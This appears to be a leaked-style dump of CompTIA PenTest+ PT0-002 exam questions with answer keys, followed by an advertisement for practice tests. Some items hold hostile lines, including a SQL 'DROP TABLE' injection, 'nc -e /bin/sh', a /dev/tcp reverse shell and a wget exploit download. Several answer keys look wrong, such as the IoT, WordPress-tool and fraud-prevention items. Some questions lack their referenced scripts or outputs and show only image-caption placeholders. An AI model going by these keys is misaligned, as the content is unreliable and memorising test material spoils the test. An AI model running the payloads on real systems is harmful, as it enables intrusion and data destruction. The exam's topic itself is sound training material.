

# CompTIA

## Exam Questions PT0-002

CompTIA PenTest+ Certification Exam



**NEW QUESTION 1**

A penetration tester conducted an assessment on a web server. The logs from this session show the following:

`http://www.thecompanydomain.com/servicestatus.php?serviceID=892&serviceID=892 ' ; DROP TABLE SERVICES; -`

Which of the following attacks is being attempted?

- A. Clickjacking
- B. Session hijacking
- C. Parameter pollution
- D. Cookie hijacking
- E. Cross-site scripting

**Answer: C**

**NEW QUESTION 2**

A penetration tester wants to identify CVEs that can be leveraged to gain execution on a Linux server that has an SSHD running. Which of the following would BEST support this task?

- A. Run nmap with the `-o`, `-p22`, and `-sC` options set against the target
- B. Run nmap with the `-sV` and `-p22` options set against the target
- C. Run nmap with the `--script vulners` option set against the target
- D. Run nmap with the `-sA` option set against the target

**Answer: B**

**NEW QUESTION 3**

A penetration tester discovers that a web server within the scope of the engagement has already been compromised with a backdoor. Which of the following should the penetration tester do NEXT?

- A. Forensically acquire the backdoor Trojan and perform attribution
- B. Utilize the backdoor in support of the engagement
- C. Continue the engagement and include the backdoor finding in the final report
- D. Inform the customer immediately about the backdoor

**Answer: D**

**NEW QUESTION 4**

Which of the following is the MOST common vulnerability associated with IoT devices that are directly connected to the Internet?

- A. Unsupported operating systems
- B. Susceptibility to DDoS attacks
- C. Inability to network
- D. The existence of default passwords

**Answer: A**

**NEW QUESTION 5**

Which of the following is the MOST effective person to validate results from a penetration test?

- A. Third party
- B. Team leader
- C. Chief Information Officer
- D. Client

**Answer: B**

**NEW QUESTION 6**

A company that requires minimal disruption to its daily activities needs a penetration tester to perform information gathering around the company's web presence. Which of the following would the tester find MOST helpful in the initial information-gathering steps? (Choose two.)

- A. IP addresses and subdomains
- B. Zone transfers
- C. DNS forward and reverse lookups
- D. Internet search engines
- E. Externally facing open ports
- F. Shodan results

**Answer: AB**

**NEW QUESTION 7**

Penetration-testing activities have concluded, and the initial findings have been reviewed with the client. Which of the following best describes the NEXT step in the engagement?

- A. Acceptance by the client and sign-off on the final report
- B. Scheduling of follow-up actions and retesting
- C. Attestation of findings and delivery of the report

D. Review of the lessons learned during the engagement

**Answer:** A

#### NEW QUESTION 8

A penetration tester has obtained root access to a Linux-based file server and would like to maintain persistence after reboot. Which of the following techniques would BEST support this objective?

- A. Create a one-shot systemd service to establish a reverse shell.
- B. Obtain /etc/shadow and brute force the root password.
- C. Run the nc -e /bin/sh <...> command.
- D. Move laterally to create a user account on LDAP

**Answer:** A

#### Explanation:

<https://hosakacorp.net/p/systemd-user.html>

#### NEW QUESTION 9

A penetration tester recently completed a review of the security of a core network device within a corporate environment. The key findings are as follows:

- The following request was intercepted going to the network device: GET /login HTTP/1.1

Host: 10.50.100.16

User-Agent: Mozilla/5.0 (X11; Linux x86\_64; rv:31.0) Gecko/20100101 Firefox/31.0 Accept-Language: en-US,en;q=0.5

Connection: keep-alive

Authorization: Basic WU9VUiIQQU1FOnNIY3JldHBhc3N3b3Jk

- Network management interfaces are available on the production network.
- An Nmap scan returned the following:

Which of the following would be BEST to add to the recommendations section of the final report? (Choose two.)

- A. Enforce enhanced password complexity requirements.
- B. Disable or upgrade SSH daemon.
- C. Disable HTTP/301 redirect configuration.
- D. Create an out-of-band network for management.
- E. Implement a better method for authentication.
- F. Eliminate network management and control interfaces.

**Answer:** CE

#### NEW QUESTION 10

A penetration tester is exploring a client's website. The tester performs a curl command and obtains the following:

\* Connected to 10.2.11.144 (:::1) port 80 (#0)

> GET /readmine.html HTTP/1.1

> Host: 10.2.11.144

> User-Agent: curl/7.67.0

> Accept: \*/\*

>

\* Mark bundle as not supporting multiuse

< HTTP/1.1 200

< Date: Tue, 02 Feb 2021 21:46:47 GMT

< Server: Apache/2.4.41 (Debian)

< Content-Length: 317

< Content-Type: text/html; charset=iso-8859-1

<

<!DOCTYPE html>

<html lang="en">

<head>

<meta name="viewport" content="width=device-width" />

<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />

<title>WordPress &#8250; ReadMe</title>

<link rel="stylesheet" href="wp-admin/css/install.css?ver=20100228" type="text/css" />

</head>

Which of the following tools would be BEST for the penetration tester to use to explore this site further?

- A. Burp Suite
- B. DirBuster
- C. WPScan
- D. OWASP ZAP

**Answer:** A

#### NEW QUESTION 10

A penetration tester exploited a unique flaw on a recent penetration test of a bank. After the test was completed, the tester posted information about the exploit online along with the IP addresses of the exploited machines. Which of the following documents could hold the penetration tester accountable for this action?

- A. ROE
- B. SLA
- C. MSA
- D. NDA

**Answer:** D

#### NEW QUESTION 12

A company conducted a simulated phishing attack by sending its employees emails that included a link to a site that mimicked the corporate SSO portal. Eighty percent of the employees who received the email clicked the link and provided their corporate credentials on the fake site. Which of the following recommendations would BEST address this situation?

- A. Implement a recurring cybersecurity awareness education program for all users.
- B. Implement multifactor authentication on all corporate applications.
- C. Restrict employees from web navigation by defining a list of unapproved sites in the corporate proxy.
- D. Implement an email security gateway to block spam and malware from email communications.

**Answer:** A

#### NEW QUESTION 15

During a penetration test, you gain access to a system with a limited user interface. This machine appears to have access to an isolated network that you would like to port scan.

##### INSTRUCTIONS

Analyze the code segments to determine which sections are needed to complete a port scanning script. Drag the appropriate elements into the correct locations to complete the script.

If at any time you would like to bring back the initial state of the simulation, please click the Reset All button.

- A. Mastered
- B. Not Mastered

**Answer:** A

##### Explanation:

A picture containing shape Description automatically generated

A picture containing treemap chart Description automatically generated

Text Description automatically generated

Graphical user interface Description automatically generated

#### NEW QUESTION 18

A penetration tester has been hired to perform a physical penetration test to gain access to a secure room within a client's building. Exterior reconnaissance identifies two entrances, a WiFi guest network, and multiple security cameras connected to the Internet. Which of the following tools or techniques would BEST support additional reconnaissance?

- A. Wardriving
- B. Shodan
- C. Recon-ng
- D. Aircrack-ng

**Answer:** C

#### NEW QUESTION 21

A penetration tester has been given an assignment to attack a series of targets in the 192.168.1.0/24 range, triggering as few alarms and countermeasures as

possible.

Which of the following Nmap scan syntaxes would BEST accomplish this objective?

- A. nmap -sT -vvv -O 192.168.1.2/24 -PO
- B. nmap -sV 192.168.1.2/24 -PO
- C. nmap -sA -v -O 192.168.1.2/24
- D. nmap -sS -O 192.168.1.2/24 -T1

**Answer:** D

#### NEW QUESTION 26

A penetration tester would like to obtain FTP credentials by deploying a workstation as an on-path attack between the target and the server that has the FTP protocol. Which of the following methods would be the BEST to accomplish this objective?

- A. Wait for the next login and perform a downgrade attack on the server.
- B. Capture traffic using Wireshark.
- C. Perform a brute-force attack over the server.
- D. Use an FTP exploit against the server.

**Answer:** B

#### NEW QUESTION 29

A penetration tester wrote the following script to be used in one engagement:

Which of the following actions will this script perform?

- A. Look for open ports.
- B. Listen for a reverse shell.
- C. Attempt to flood open ports.
- D. Create an encrypted tunnel.

**Answer:** A

#### NEW QUESTION 34

A penetration tester is scanning a corporate lab network for potentially vulnerable services. Which of the following Nmap commands will return vulnerable ports that might be interesting to a potential attacker?

- A. nmap192.168.1.1-5-PU22-25,80
- B. nmap192.168.1.1-5-PA22-25,80
- C. nmap192.168.1.1-5-PS22-25,80
- D. nmap192.168.1.1-5-Ss22-25,80

**Answer:** C

#### NEW QUESTION 36

A penetration tester was able to gather MD5 hashes from a server and crack the hashes easily with rainbow tables. Which of the following should be included as a recommendation in the remediation report?

- A. Stronger algorithmic requirements
- B. Access controls on the server
- C. Encryption on the user passwords
- D. A patch management program

**Answer:** C

#### NEW QUESTION 39

A penetration tester discovers during a recent test that an employee in the accounting department has been making changes to a payment system and redirecting money into a personal bank account. The penetration test was immediately stopped. Which of the following would be the BEST recommendation to prevent this type of activity in the future?

- A. Enforce mandatory employee vacations
- B. Implement multifactor authentication
- C. Install video surveillance equipment in the office
- D. Encrypt passwords for bank account information

**Answer:** B

#### NEW QUESTION 42

You are a penetration tester reviewing a client's website through a web browser. INSTRUCTIONS

Review all components of the website through the browser to determine if vulnerabilities are present. Remediate ONLY the highest vulnerability from either the certificate, source, or cookies.

If at any time you would like to bring back the initial state of the simulation, please click the Reset All button.

- A. Mastered
- B. Not Mastered

**Answer:** A

**Explanation:**

Graphical user interface Description automatically generated

**NEW QUESTION 43**

Which of the following protocols or technologies would provide in-transit confidentiality protection for emailing the final security assessment report?

- A. S/MIME
- B. FTPS
- C. DNSSEC
- D. AS2

**Answer:** A

**NEW QUESTION 46**

Which of the following should a penetration tester consider FIRST when engaging in a penetration test in a cloud environment?

- A. Whether the cloud service provider allows the penetration tester to test the environment
- B. Whether the specific cloud services are being used by the application
- C. The geographical location where the cloud services are running
- D. Whether the country where the cloud service is based has any impeding laws

**Answer:** A

**NEW QUESTION 48**

A penetration tester conducted a vulnerability scan against a client's critical servers and found the following:

Which of the following would be a recommendation for remediation?

- A. Deploy a user training program
- B. Implement a patch management plan
- C. Utilize the secure software development life cycle
- D. Configure access controls on each of the servers

**Answer:** B

**NEW QUESTION 50**

A mail service company has hired a penetration tester to conduct an enumeration of all user accounts on an SMTP server to identify whether previous staff member accounts are still active. Which of the following commands should be used to accomplish the goal?

- A. VRFY and EXPN
- B. VRFY and TURN
- C. EXPN and TURN
- D. RCPT TO and VRFY

**Answer:** A

**NEW QUESTION 53**

A penetration tester ran the following command on a staging server:

```
python -m SimpleHTTPServer 9891
```

Which of the following commands could be used to download a file named exploit to a target machine for execution?

- A. nc 10.10.51.50 9891 < exploit
- B. powershell -exec bypass -f \\10.10.51.50\9891
- C. bash -i >& /dev/tcp/10.10.51.50/9891 0&1>/exploit
- D. wget 10.10.51.50:9891/exploit

**Answer:** D

**NEW QUESTION 55**

Which of the following types of information should be included when writing the remediation section of a penetration test report to be viewed by the systems administrator and technical staff?

- A. A quick description of the vulnerability and a high-level control to fix it
- B. Information regarding the business impact if compromised
- C. The executive summary and information regarding the testing company
- D. The rules of engagement from the assessment

**Answer:** B

**NEW QUESTION 59**

A penetration tester performs the following command: curl -I -http2 https://www.comptia.org

Which of the following snippets of output will the tester MOST likely receive?

- A. Option A
- B. Option B
- C. Option C
- D. Option D

**Answer:** A

**NEW QUESTION 61**

.....

## Thank You for Trying Our Product

### We offer two products:

1st - We have Practice Tests Software with Actual Exam Questions

2nd - Questions and Answers in PDF Format

### PT0-002 Practice Exam Features:

- \* PT0-002 Questions and Answers Updated Frequently
- \* PT0-002 Practice Questions Verified by Expert Senior Certified Staff
- \* PT0-002 Most Realistic Questions that Guarantee you a Pass on Your First Try
- \* PT0-002 Practice Test Questions in Multiple Choice Formats and Updates for 1 Year

**100% Actual & Verified — Instant Download, Please Click**  
**[Order The PT0-002 Practice Test Here](#)**